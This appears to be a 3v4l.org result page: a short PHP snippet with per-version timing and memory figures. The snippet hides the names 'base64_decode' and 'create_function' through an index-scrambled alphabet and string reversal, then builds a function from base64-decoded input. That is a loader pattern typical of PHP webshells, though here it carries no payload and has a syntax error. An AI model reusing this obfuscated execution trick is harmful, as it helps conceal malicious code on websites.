3v4l.org

run code in 300+ PHP versions simultaneously
<?php $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); print_r $f;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.2.10.0000.01419.45
7.2.00.0030.01019.52
7.1.130.0060.00917.95
7.1.120.0050.01018.16
7.1.110.0090.00617.71
7.1.100.0060.00917.42
7.1.90.0110.00417.63
7.1.80.0070.01117.66
7.1.70.0860.00716.26
7.1.60.1020.00934.26
7.1.50.0920.01333.91
7.1.40.0880.01233.62
7.1.30.1080.00833.72
7.1.20.0870.01133.85
7.1.10.0670.00915.65
7.1.00.0600.01215.85
7.0.270.0060.00618.07
7.0.260.0060.01516.07
7.0.250.0060.00617.23
7.0.240.0060.00617.17
7.0.230.0050.00817.58
7.0.220.0120.00617.39
7.0.210.0160.00814.41
7.0.200.1020.00915.18
7.0.190.0850.01315.75
7.0.180.0730.01115.43
7.0.170.0920.00815.54
7.0.160.0900.01315.43
7.0.150.0580.01115.49
7.0.140.0570.00915.55
7.0.130.0570.01015.68
7.0.120.0610.00715.69
7.0.110.0600.00815.51
7.0.100.0570.01115.48
7.0.90.0590.01115.53
7.0.80.0610.00915.48
7.0.70.0570.01215.36
7.0.60.0800.01115.24
7.0.50.0740.01115.56
7.0.40.0750.01015.60
7.0.30.0860.01215.69
7.0.20.0740.00815.62
7.0.10.0730.00915.64
7.0.00.0690.00915.63
5.6.300.0140.06220.67
5.6.290.0160.06120.82
5.6.280.0100.06720.83
5.6.270.0220.05720.91
5.6.260.0130.06320.90
5.6.250.0120.06320.89
5.6.240.0120.06620.78
5.6.230.0080.07020.86
5.6.220.0130.06720.81
5.6.210.0110.06420.87
5.6.200.0070.07020.85
5.6.190.0180.06420.83
5.6.180.0160.06120.80
5.6.170.0080.06620.77
5.6.160.0170.05920.73
5.6.150.0130.06420.77
5.6.140.0100.06920.87
5.6.130.0070.06920.79
5.6.120.0130.07720.81
5.6.110.0110.07020.78
5.6.100.0110.06920.69
5.6.90.0140.06220.77
5.6.80.0150.05920.20
5.6.70.0130.05820.09
5.6.60.0170.06420.15
5.6.50.0110.06320.09
5.6.40.0120.07720.18
5.6.30.0170.06720.14
5.6.20.0170.06220.13
5.6.10.0150.05820.12
5.6.00.0100.06620.11
5.5.380.0120.05417.46
5.5.370.0080.06117.47
5.5.360.0130.05417.53
5.5.350.0100.05717.50
5.5.340.0160.05218.09
5.5.330.0150.05017.75
5.5.320.0070.05517.92
5.5.310.0070.06018.07
5.5.300.0070.07017.98
5.5.290.0130.05717.89
5.5.280.0110.07218.08
5.5.270.0050.06017.71
5.5.260.0080.07017.93
5.5.250.0120.06617.83
5.5.240.0110.05617.41
5.5.230.0080.05717.09
5.5.220.0080.05617.40
5.5.210.0130.06217.42
5.5.200.0080.05617.38
5.5.190.0100.05517.29
5.5.180.0100.06417.38
5.5.160.0080.05917.12
5.5.150.0120.05417.30
5.5.140.0110.05317.36
5.5.130.0120.04717.26
5.5.120.0150.04817.26
5.5.110.0100.05117.19
5.5.100.0100.06017.26
5.5.90.0140.04617.12
5.5.80.0080.05817.22
5.5.70.0050.05617.16
5.5.60.0100.04817.32
5.5.50.0070.05817.19
5.5.40.0160.04317.16
5.5.30.0150.04617.29
5.5.20.0030.05917.23
5.5.10.0150.05017.15
5.5.00.0070.05317.10
5.4.450.0150.05519.39
5.4.440.0120.05619.45
5.4.430.0110.05119.24
5.4.420.0130.06519.24
5.4.410.0160.06119.31
5.4.400.0100.05319.04
5.4.390.0120.05119.04
5.4.380.0100.05219.00
5.4.370.0130.06618.93
5.4.360.0130.05219.00
5.4.350.0070.05718.99
5.4.340.0120.05618.98
5.4.320.0100.05919.00
5.4.310.0050.06219.07
5.4.300.0100.05319.05
5.4.290.0040.06618.95
5.4.280.0120.05818.96
5.4.270.0070.05518.97
5.4.260.0040.05818.96
5.4.250.0100.05118.99
5.4.240.0130.05019.03
5.4.230.0100.05618.90
5.4.220.0100.05418.98
5.4.210.0130.04719.04
5.4.200.0090.05218.99
5.4.190.0100.05318.98
5.4.180.0080.05019.14
5.4.170.0050.05619.02
5.4.160.0160.05618.85
5.4.150.0130.05418.99
5.4.140.0100.05216.55
5.4.130.0070.04816.64
5.4.120.0160.05216.46
5.4.110.0100.05116.58
5.4.100.0130.04316.61
5.4.90.0050.05216.68
5.4.80.0050.05416.64
5.4.70.0030.06416.47
5.4.60.0050.05216.63
5.4.50.0070.05316.57
5.4.40.0080.05416.67
5.4.30.0160.04416.40
5.4.20.0160.04916.63
5.4.10.0130.05016.47
5.4.00.0090.04816.15
5.3.290.0100.05614.69
5.3.280.0120.04714.66
5.3.270.0130.05714.56
5.3.260.0080.05614.66
5.3.250.0060.05514.74
5.3.240.0090.05514.68
5.3.230.0180.04714.67
5.3.220.0120.05714.60
5.3.210.0110.04814.56
5.3.200.0050.05914.61
5.3.190.0090.05214.65
5.3.180.0100.05014.63
5.3.170.0080.05814.63
5.3.160.0160.05514.67
5.3.150.0070.05214.66
5.3.140.0130.05314.56
5.3.130.0130.05914.65
5.3.120.0030.05814.51
5.3.110.0140.04714.54
5.3.100.0070.05614.11
5.3.90.0020.05514.02
5.3.80.0100.05114.04
5.3.70.0140.04914.00
5.3.60.0090.05714.08
5.3.50.0080.04914.06
5.3.40.0090.05214.12
5.3.30.0090.04713.94
5.3.20.0060.05313.59
5.3.10.0070.04913.67
5.3.00.0110.04613.67
5.2.170.0060.04511.32
5.2.160.0080.04311.33
5.2.150.0100.03711.29
5.2.140.0090.03911.31
5.2.130.0110.03710.99
5.2.120.0050.04011.13
5.2.110.0110.03511.23
5.2.100.0060.04011.06
5.2.90.0110.04211.14
5.2.80.0050.04511.08
5.2.70.0080.04511.19
5.2.60.0110.04011.04
5.2.50.0080.04011.16
5.2.40.0020.04411.07
5.2.30.0070.04010.94
5.2.20.0050.04011.06
5.2.10.0100.03511.01
5.2.00.0050.04110.85
5.1.60.0100.02810.25
5.1.50.0100.03610.12
5.1.40.0080.04210.06
5.1.30.0110.03810.58
5.1.20.0090.04010.40
5.1.10.0090.03210.15
5.1.00.0050.04210.36
5.0.50.0020.0368.90
5.0.40.0020.0348.90
5.0.30.0070.0408.88
5.0.20.0030.0308.71
5.0.10.0060.0308.76
5.0.00.0020.0458.80
4.4.90.0080.0168.00
4.4.80.0050.0238.00
4.4.70.0020.0248.00
4.4.60.0040.0218.00
4.4.50.0030.0218.00
4.4.40.0030.0438.00
4.4.30.0050.0238.00
4.4.20.0050.0238.00
4.4.10.0050.0288.00
4.4.00.0070.0348.00
4.3.110.0020.0278.00
4.3.100.0050.0208.00
4.3.90.0030.0208.00
4.3.80.0030.0328.00
4.3.70.0050.0208.00
4.3.60.0050.0198.00
4.3.50.0020.0238.00
4.3.40.0060.0338.00
4.3.30.0020.0248.00
4.3.20.0030.0218.00
4.3.10.0020.0238.00
4.3.00.0030.0208.00

preferences:
128.15 ms | 1398 KiB | 7 Q